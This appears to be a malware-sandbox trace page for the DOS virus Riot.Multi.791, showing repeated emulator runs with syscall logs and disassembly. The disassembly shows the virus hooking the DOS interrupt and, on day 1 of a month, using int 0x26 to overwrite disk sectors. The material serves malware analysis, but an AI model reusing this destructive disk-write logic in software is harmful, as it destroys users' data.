Sample viewer

vx.netlux.org/Virus.DOS.Riot.Multi.791

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:26:38.84577535Z 53 PC: 12ab8 | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T22:26:38.847585289Z 37 PC: 12b2f | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T22:26:38.849325489Z 42 PC: 12b3a | Get date 0x12b3a: cmp dl, 1
0x12b3d: jne 0x12b48
0x12b3f: mov al, 2
0x12b41: mov cx, 0x270
0x12b44: cdq
0x12b45: int 0x26
0x12b47: popf
0x12b48: jmp 0x12a96
0x12b4b: int 0x12
0x12b4d: jmp 0x12b5d
0x12b4f: dec bp
0x12b50: push bp
0x12b51: dec sp
0x12b52: push sp
0x12b53: dec cx
0x12b54: sub ax, 0x4c46
0x12b57: push bp
0x12b58: and byte ptr [bp + 0x31], dh
0x12b5b: xor byte ptr cs:[bx + di + 0x400], bh
0x12b60: jmp 0x12b78

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":4723,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:52:42.722043389Z 53 PC: 12ab8 | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T11:52:42.724277482Z 37 PC: 12b2f | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T11:52:42.725396268Z 42 PC: 12b3a | Get date 0x12b3a: cmp dl, 1
0x12b3d: jne 0x12b48
0x12b3f: mov al, 2
0x12b41: mov cx, 0x270
0x12b44: cdq
0x12b45: int 0x26
0x12b47: popf
0x12b48: jmp 0x12a96
0x12b4b: int 0x12
0x12b4d: jmp 0x12b5d
0x12b4f: dec bp
0x12b50: push bp
0x12b51: dec sp
0x12b52: push sp
0x12b53: dec cx
0x12b54: sub ax, 0x4c46
0x12b57: push bp
0x12b58: and byte ptr [bp + 0x31], dh
0x12b5b: xor byte ptr cs:[bx + di + 0x400], bh
0x12b60: jmp 0x12b78

{"DateBased":true,"Day":2,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":4723,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:52:43.116053088Z 53 PC: 12ab8 | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T11:52:43.118320964Z 37 PC: 12b2f | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T11:52:43.119303584Z 42 PC: 12b3a | Get date 0x12b3a: cmp dl, 1
0x12b3d: jne 0x12b48
0x12b3f: mov al, 2
0x12b41: mov cx, 0x270
0x12b44: cdq
0x12b45: int 0x26
0x12b47: popf
0x12b48: jmp 0x12a96
0x12b4b: int 0x12
0x12b4d: jmp 0x12b5d
0x12b4f: dec bp
0x12b50: push bp
0x12b51: dec sp
0x12b52: push sp
0x12b53: dec cx
0x12b54: sub ax, 0x4c46
0x12b57: push bp
0x12b58: and byte ptr [bp + 0x31], dh
0x12b5b: xor byte ptr cs:[bx + di + 0x400], bh
0x12b60: jmp 0x12b78